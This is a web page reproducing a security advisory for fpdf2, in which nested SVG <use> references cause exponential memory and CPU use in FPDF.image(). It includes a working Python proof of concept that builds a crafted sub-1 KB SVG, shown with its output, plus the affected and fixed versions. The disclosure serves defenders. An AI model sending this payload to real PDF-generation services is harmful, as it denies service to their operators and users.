GIVE YOUR AGENT THE EVIDENCE

Set up in your agent.

One prompt to get started. Paste it into your coding agent to connect cve.new through MCP and bring vulnerability context into your workflow.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

GIVE YOUR AGENT THE EVIDENCE

Investigate in your agent.

Turn this advisory into a focused investigation. Ask your agent to check your project’s versions, explain the evidence, and suggest a compatible fix.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

All vulnerabilities
GHSA-wqw6-wpr3-45rhmedium6.5

fpdf2: Exponential SVG '<use>' expansion causes CPU and memory exhaustion in 'FPDF.image()'

Check your stack

The advisory, in context

Summary

fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.

This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.

Details

The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.

When fpdf2 resolves an SVG reference, SVGObject.build_xref() passes the referenced object to GraphicsContext.add_item():

pdf_group.add_item(self.cross_references[ref])

GraphicsContext.add_item() uses clone=True by default and deep-copies the object:

def add_item(self, item, clone=True):
    if clone:
        item = deepcopy(item)
    self.path_items.append(item)

An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.

ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.

PoC

This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.

import resource
import time

from fpdf import FPDF


groups = ['<g id="g0"><rect width="1" height="1"/></g>']
for level in range(1, 6):
    uses = f'<use href="#g{level - 1}"/>' * 8
    groups.append(f'<g id="g{level}">{uses}</g>')

svg = (
    '<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
    '<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>'
).encode()

pdf = FPDF()
pdf.add_page()

limit = 128 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

print(f"payload size: {len(svg)} bytes")
started = time.perf_counter()

try:
    pdf.image(svg, w=10)
except MemoryError:
    elapsed = time.perf_counter() - started
    max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
    print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB")
payload size: 895 bytes
MemoryError after 14.336s, max RSS: 115596 KiB

Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.

Impact

This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.

The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.

Affected packages

Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.

fpdf2 PyPI
Ecosystem versions

From 2.5.0 before 2.8.8

Fixed in 2.8.8

27 explicitly affected versions

2.5.0, 2.5.1, 2.5.2, 2.5.3, 2.5.4, 2.5.5, 2.5.6, 2.5.7, 2.6.0, 2.6.1, 2.7.0, 2.7.1, 2.7.2, 2.7.3, 2.7.4, 2.7.5, 2.7.6, 2.7.7, 2.7.8, 2.7.9, 2.8.1, 2.8.2, 2.8.3, 2.8.4, 2.8.5, 2.8.6, 2.8.7

View affected-version evidence
{
  "ranges": [
    {
      "events": [
        {
          "introduced": "2.5.0"
        },
        {
          "fixed": "2.8.8"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "2.5.0",
    "2.5.1",
    "2.5.2",
    "2.5.3",
    "2.5.4",
    "2.5.5",
    "2.5.6",
    "2.5.7",
    "2.6.0",
    "2.6.1",
    "2.7.0",
    "2.7.1",
    "2.7.2",
    "2.7.3",
    "2.7.4",
    "2.7.5",
    "2.7.6",
    "2.7.7",
    "2.7.8",
    "2.7.9",
    "2.8.1",
    "2.8.2",
    "2.8.3",
    "2.8.4",
    "2.8.5",
    "2.8.6",
    "2.8.7"
  ]
}

References